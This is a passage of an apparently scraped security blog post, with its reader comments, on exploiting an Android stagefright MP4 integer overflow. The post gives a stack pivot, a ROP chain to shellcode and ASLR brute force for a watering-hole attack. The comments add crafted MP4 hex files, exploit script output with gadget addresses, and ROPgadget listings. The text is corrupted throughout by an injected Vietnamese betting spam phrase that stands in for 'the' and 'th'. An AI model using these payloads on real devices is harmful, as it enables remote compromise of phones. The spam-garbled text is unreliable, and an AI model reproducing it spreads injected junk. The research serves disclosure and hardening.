.text:00013348    LDMIA           R2, {R4, R5, R6, R7, R8, R9, R10, R11, R12, SP, LR}
.text:0001334C    TEQ             SP, #0
.text:00013350    TEQNE           LR, #0
.text:00013354    BEQ             botch_0 ; we won’t take this branch, as we control lr
.text:00013358    MOV             R0, R1
.text:0001335C    TEQ             R0, #0
.text:00013360    MOVEQ           R0, #1
.text:00013364    BX              LR

This will load most of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registers, including cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack pointer, from an offset on r0, which points to data we control. At this point it’s cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n trivial to complete cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit with a ROP chain to allocate some RWX memory, copy in shellcode and jump to it using only functions and gadgets from within libc.so.

Having completed an exploit that works with ASLR disabled, I was planning/expecting to spend a while longer looking for a cunning technique to reliably leverage cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue for a practical exploit without tampering with system settings. I started to investigate a number of different avenues, some of which were more promising than ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs. My usual preferred next step would be to try and leverage this overflow to construct an infoleak to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 information we need about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process.  Since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mediaserver is a background process that we’re interacting with in a fairly detached way, this would likely pose a significant effort. One idea considered was cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 use of an m3u playlist file, which should be able to request remote files; if we could cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n corrupt some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data responsible for handling that playlist, we might be able to leverage that to leak data. Anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r thought was that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 metadata extracted from parsing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file is likely used by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 html5

Since we do not know cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 randomised values for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most-significant bytes of an address, we would instead perform a partial overwrite; corrupting only cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 least-significant byte or bytes of a pointer. I looked at partially overwriting a function pointer on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap - cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re were some function pointers that could be overwritten, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y were all allocated early in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process startup, racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than during parsing of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mp4 file, and grooming was going to be problematic. I cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n looked at partially overwriting a vtable pointer instead. As our exploit so far is reliably corrupting a vtable pointer, it’s not a problem to adjust this to simply overwrite cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 least-significant byte of that vtable pointer instead. The vtables in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 libstagefright library are positioned close to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 GOT (Global Offset Table) which is used heavily in position-independent executables, and this means that we have a choice of a very wide range of functions that we could call instead of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 intended function; this could be as subtle as creating a type-confusion with our MPEG4DataSource and anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r DataSource type. Continuing with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit at this point is looking like an extensive assessment of available functions in (and imported by) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 compiled stagefright code to find one which will be useful to us...

We do have an alternative; albeit an inelegant one. The mediaserver process will respawn after a crash, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is 8 bits of entropy in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 libc.so base address. This means that we can take a very straightforward approach to bypassing ASLR. We simply choose one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 256 possible base addresses for libc.so, and write our exploit and ROP stack assuming that layout. Launching cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser, we use javascript to keep refreshing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page, and wait for a callback. Eventually memory will be laid out as we expect, bypassing ASLR with brute force in a practical enough way for real-world exploitation.

This is only possible because we can achieve a highly reliable heap-spray to get data we control at a known address, independent of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process randomisation. If we had to brute-force two addresses here, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of our known data and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 libc base, this would be less practical.

It’s also interesting to note that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mediaserver is a special case, at least on my test phone; it isn’t cloned from a zygote process, but is instead directly execve’ed - this means that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address space is re-randomised on every exploit attempt. As a result our brute force is not deterministic, and we can’t put a guaranteed upper-bound on time to exploit.

I did some extended testing on my Nexus 5; and results were pretty much as expected. In 4096 exploit attempts I got 15 successful callbacks; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 shortest time-to-successful-exploit was lucky, at around 30 seconds, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 longest was over an hour. Given that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mediaserver process is throttled to launching once every 5 seconds, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chance of success is 1/256 per attempt, this gives us a ~4% chance of a successful exploit each minute.

So, while it could be more elegant, reliable and effective to use a more sophisticated technique to exploit this bug without requiring a brute-force; it turns out that it’s not really necessary. It’s not unreasonable for a real-world watering hole attack to get a user to browse a page long enough for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit to succeed, especially through in-app adverts using WebView.

During cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last few weeks spent developing this exploit, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re were a couple of additional hardening measures that we discussed internally to Project Zero, and have shared as suggestions to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Android security team.

  • Hardened mmap implementation. Chrome’s PartitionAlloc augments cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 weak randomisation provided by mmap(NULL, …) calls; Android could do a similar thing. This would dramatically reduce cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 effectiveness of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap-spray, making it harder for an attacker to gain that crucial ‘controlled data at a known address’ leveraged in this exploit.
  • Furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r hardening libc implementation. Existing libc implementations have implemented pointer mangling for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir setjmp/longjmp and similar functions; this has two security benefits. Firstly it protects against corruption of jmp_buf structures, and secondly it prevents an attacker from using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se functions as one-stop ROP gadget/stack pivot.

Neicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se are ‘hard’ mitigations; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir implementation won’t prove non-exploitability of future memory corruption vulnerabilities on Android devices, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir adoption should increase cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cost for attackers in developing reliable exploits for future Android vulnerabilities; and that will be a welcome success.

15 comments:

  1. Chrome for Android requires user interaction for media playback. Did you disable this in chrome://flags to be able to "try until win" with your exploit?

    ReplyDelete
  2. No; no user interaction is required; and no modification of chrome://flags. It's exploiting during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 initial parse of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 media file, not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 playback; so it's triggered when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page containing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 media file loads. Parsing has to happen at that point in order to display cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 duration of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 video; it's not necessary to click play first.

    ReplyDelete
  3. I am new to Android and integer overflows and have two questions, I think cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y might be helpful to understand for ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r visitors also:

    1) do i understand it correctly, if i change cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second chunk size from -1 to -24 (0xffffffffffffffe8)

    MP4 file like this:

    0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001 ....ftypisom....
    0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018 isom... trak....
    0000020: 7478 3367 4141 4141 4141 4141 4141 4141 tx3gAAAAAAAAAAAA
    0000030: 4141 4141 0000 0001 7478 3367 ffff ffff AAAA....tx3g....
    0000040: ffff ffe8 4242 4242 4242 4242 4242 4242 ....BBBBBBBBBBBB
    0000050: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB
    0000060: 4242 4242

    I will be allocating 0 bytes memory for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 buffer and lib will be writing out of bounds (24 bytes). I am using Android 5.0.2 (cyanogenmod) and it behaves very weird after I open such a file.

    How can I debug it or view logs on my android device? It is rooted.

    2) in regards to your exploit, which libc.so should I use, one from Android device?

    To run cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit I copied cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 libc.so from Android to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 working directory. However pop_r0_r1_r2_r3_pc and pop_r4_r5_r6_r7_pc cannot be found. I hardcoded cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m to 0xffffffff just to see if it runs furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r. How to properly get those values?

    Example Execution:

    ./mp4_stagefright_release.py

    [*] memcpy : 0xb6ecdc08
    [*] mmap64 : 0xb6ed42ed
    b6ecd034: e280204c add r2, r0, #76 ; 0x4c
    b6ecd038: e8927ff0 ldm r2, {r4, r5, r6, r7, r8, r9, sl, fp, ip, sp, lr}
    b6ecd03c: e33d0000 teq sp, #0
    b6ecd040: 133e0000 teqne lr, #0
    3068973108
    [*] stack_pivot : 0xb6ecd034
    b6f0f784: e49df004 pop {pc} ; (ldr pc, [sp], #4)
    [*] pop_pc : 0xb6f0f784
    [*] pop_r0_r1_r2_r3_pc : 0xffffffff
    [*] pop_r4_r5_r6_r7_pc : 0xffffffff
    b6f1015c: e59de040 ldr lr, [sp, #64] ; 0x40
    b6f10160: e28dd048 add sp, sp, #72 ; 0x48
    b6f10164: e12fff1e bx lr
    [17/Sep/2015:22:21:01] ENGINE Listening for SIGHUP.
    [17/Sep/2015:22:21:01] ENGINE Listening for SIGTERM.
    [17/Sep/2015:22:21:01] ENGINE Listening for SIGUSR1.
    [17/Sep/2015:22:21:01] ENGINE Bus STARTING
    CherryPy Checker:
    The Application mounted at '' has an empty config.

    [17/Sep/2015:22:21:01] ENGINE Started monitor thread 'Autoreloader'.
    [17/Sep/2015:22:21:01] ENGINE Started monitor thread '_TimeoutMonitor'.
    [17/Sep/2015:22:21:02] ENGINE Serving on http://0.0.0.0:8080
    [17/Sep/2015:22:21:02] ENGINE Bus STARTED


    Thanks,

    ReplyDelete
  4. You can view cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 crash logs as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y occur by using logcat (http://developer.android.com/tools/help/logcat.html). Most builds of cyanogenmod are userdebug builds, so you should also have gdbserver on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device. You can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n setup port-forwarding and debug using a gdb build that has arm support from your host.

    adb forward tcp:12345 tcp:12345
    adb shell
    gdbserver :12345 --attach `pidof mediaserver`

    and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n on host
    gdb
    set architecture arm
    target remote localhost:12345

    You should indeed just copy libc.so from your device to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 local folder. pop_r0_r1_r2_r3_pc and pop_r4_r5_r6_r7_pc are instruction sequences that are needed for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rop chain used in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit; to fix cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit for your device you'd need to rewrite cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rop chain using different instructions instead.

    ReplyDelete
    Replies
    1. Thanks!!!! That's great! You don't have to publish this post since it is a beginner level and I don't want to spam this blog entry. Feel free to edit it when necessary. Can I contact you directly?


      I am attached with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debugger to my "mediaserver" process.

      Phone:

      root@laptop:~# adb forward tcp:12345 tcp:12345
      root@laptop:~# adb shell
      shell@s3ve3g:/ $ su
      root@s3ve3g:/ # gdbserver :12345 --attach `pidof mediaserver`
      Attached; pid = 260
      Listening on port 12345
      Remote debugging from host 127.0.0.1

      and on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host:

      user@laptop:~$ gdb-multiarch
      GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
      Copyright (C) 2014 Free Software Foundation, Inc.
      License GPLv3+: GNU GPL version 3 or later
      This is free software: you are free to change and redistribute it.
      There is NO WARRANTY, to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extent permitted by law. Type "show copying"
      and "show warranty" for details.
      This GDB was configured as "x86_64-linux-gnu".
      Type "show configuration" for configuration details.
      For bug reporting instructions, please see:
      .
      Find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 GDB manual and ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r documentation resources online at:
      .
      For help, type "help".
      Type "apropos word" to search for commands related to "word".
      (gdb) set architecture arm
      Es wird angenommen, dass die Ziel-Architektur arm ist
      (gdb) target remote localhost:12345
      Remote debugging using localhost:12345
      0xb6ee5a38 in ?? ()
      (gdb)


      How do I set a breakpoint/inspect that integer overflow, vulnerable code with gdb?

      I read about arm exploitation and debugging, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is not much about debugging a running process (compiled without debug symbols, function names etc). Do you know some good materials/tutorial?

      Thanks,

      Delete
  5. Update to my last post:

    ok, I found cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 answer how to debug it on my phone (with symbols). Need to compile libstagefright or everything with "-g" flag (look for CFLAGS in Makefile and set it cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re)

    You can check if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lib is compiled with symbols by issuing for example "file" command (not stripped has to be shown, if it is stripped it is not good, it is without symbols)

    file libstagefright.so
    libstagefright.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), not stripped


    On Mobile
    adb forward tcp:12345 tcp:12345
    adb shell
    gdbserver :12345 --attach `pidof mediaserver`


    On PC

    1) Pull cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 libs (compiled with -g flag) from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 phone for example to /tmp/sytem_lib

    adb pull /system/lib /tmp/system_lib


    2) Debug cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 binary

    Copy cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ARM version on your PC and debug it. Copy mediaserver binary to your PC.

    gdb-multicharch /path/to/mediaserver

    set architecture arm
    set auto-solib-add on
    target remote localhost:12345
    set solib-search-path /tmp/system_lib

    TADA ....

    (gdb) cont
    Continuing.

    Breakpoint 1, android::MPEG4Extractor::parseChunk (this=this@entry=0xb8a33d48,
    offset=offset@entry=0xbe8b14a0, depth=depth@entry=0)
    at frameworks/av/media/libstagefright/MPEG4Extractor.cpp:867
    867 status_t MPEG4Extractor::parseChunk(off64_t *offset, int depth) {
    (gdb) l
    862 strftime(tmp, sizeof(tmp), "%Y%m%dT%H%M%S.000Z", gmtime(&time_1970));
    863
    864 s->setTo(tmp);
    865 }
    866
    867 status_t MPEG4Extractor::parseChunk(off64_t *offset, int depth) {
    868 ALOGV("entering parseChunk %lld/%d", *offset, depth);
    869 uint32_t hdr[2];
    870 if (mDataSource->readAt(*offset, hdr, 8) < 8) {
    871 return ERROR_IO;
    (gdb) next
    870 if (mDataSource->readAt(*offset, hdr, 8) < 8) {
    (gdb) print hdr
    $1 = {335544320, 1887007846}
    (gdb) print depth

    ReplyDelete
    Replies
    1. This comment has been removed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 author.

      Delete
  6. Ok figured it out, learnt a lot on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way .... this was enough to crash "mediaserver" process on my mobile.

    0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001 ....ftypisom....
    0000010: 6973 6f6d 0000 0050 7472 616b 0000 0018 isom... trak....
    0000020: 7478 3367 4141 4141 4141 4141 4141 4141 tx3gAAAAAAAAAAAA
    0000030: 4141 4141 0000 0001 7478 3367 ffff ffff AAAA....tx3g....
    0000040: ffff ffe8 4242 4242 4242 4242 4242 4242 ....BBBBBBBBBBBB
    0000050: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB
    0000060: 4242 4242

    ReplyDelete
  7. I did read about ROP gadgets and chains and ROP programming. Seems, I need only to rewrite "pop_r0_r1_r2_r3_pc".

    Below are "pop" only ROP gadget available in my libc.so from my mobile:

    ROPgadget --binary libc.so --ropchain --only "pop"
    Gadgets information
    ============================================================
    0x0001061c : pop {r0, pc}
    0x00042664 : pop {r1, pc}
    0x00042d00 : pop {r3, pc}
    0x0000f7dc : pop {r4, pc}
    0x00041658 : pop {r4, r5, pc}
    0x0004198c : pop {r4, r5, r6, pc}
    0x00042c2c : pop {r4, r5, r6, r7, pc}

    Unique gadgets found: 7


    Can I somehow split cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pop_r0_r1_r2_r3_pc into more gadgets? Which instructions will equal to pop_r0_r1_r2_r3_pc? Need some ARM ROP guidance.

    Any resources and documentation that describe that is more than welcome :)

    Thanks,

    ReplyDelete
  8. Great explanation.
    From cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 source code in MPEG4Extractor.cpp, I can see that for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'stbl' chunk to trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MPEG4DataSource allocation cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 flags for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current mDataSource must contain kWantsPrefetching or kIsCachingDataSource. Is this always cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case?
    Also, as I unserstood it, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fake vtable should contain a pointer to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack pivot in order to build cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ROP stack. But, how can we gurantee that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vtable pointer which we overwrite will always point to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 right place in memory? Why is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap spray full of 0xCCs?

    Thanks

    ReplyDelete
  9. After checking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code I am a bit confused that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 shellcode is put before ROP:
    nop + shellcode + rop
    So how it can jump into beginning of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rop from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 craft vtable pointer?

    ReplyDelete
  10. A bit confused that after checking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implementation, it seems cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hellcode is put before ROP with heap layout as follows:
    Nop+shellcode+ROP

    So cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 how you jump into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning of ROP from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 craft vtable pointer?

    ReplyDelete
  11. Hi, very good article! But when I debug it, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mediaserver will crash at mLastTrack->meta->findData(kKeyTextFormatData, &type, &data, &size)) of function parseChunk because of segmentation violation. Does anyone has come across this situation? Could we discuss about it?

    ReplyDelete
  12. Tried you exploit, fixed it with a new ROPchain for my phone, but it does not seem to work. Any ideas where I should look for?


    I/DEBUG ( 276): pid: 30002, tid: 30002, name: mediaserver >>> /system/bin/mediaserver <<<
    I/DEBUG ( 276): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdeadbaad
    I/DEBUG ( 276): Abort message: 'invalid address or address of corrupt block 0xb8ca9b00 passed to dlfree'
    I/DEBUG ( 276): r0 00000000 r1 bee48b10 r2 deadbaad r3 00000000
    I/DEBUG ( 276): r4 b8ca9b00 r5 b6e8c0d8 r6 00000000 r7 30303030
    I/DEBUG ( 276): r8 bee494a0 r9 b8ca9b08 sl b66d282f fp b66d282f
    I/DEBUG ( 276): ip 00000000 sp bee48f00 lr b6e5c15b pc b6e5c15c cpsr 600f0030
    I/DEBUG ( 276):
    I/DEBUG ( 276): backtrace:
    I/DEBUG ( 276): #00 pc 0002915c /system/lib/libc.so (dlfree+1239)
    I/DEBUG ( 276): #01 pc 0000f3bf /system/lib/libc.so (free+10)
    I/DEBUG ( 276): #02 pc 0007eaff /system/lib/libstagefright.so (android::MPEG4Extractor::parseChunk(long long*, int)+7102)

    ReplyDelete
  13. Brilliant explanation!
    Do you have any ideas how to defeat memory layouting on dlmalloc'ed 4.x ? There are few neighborhood cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ads in mediaserver which do allocations/deallocations all time.

    ReplyDelete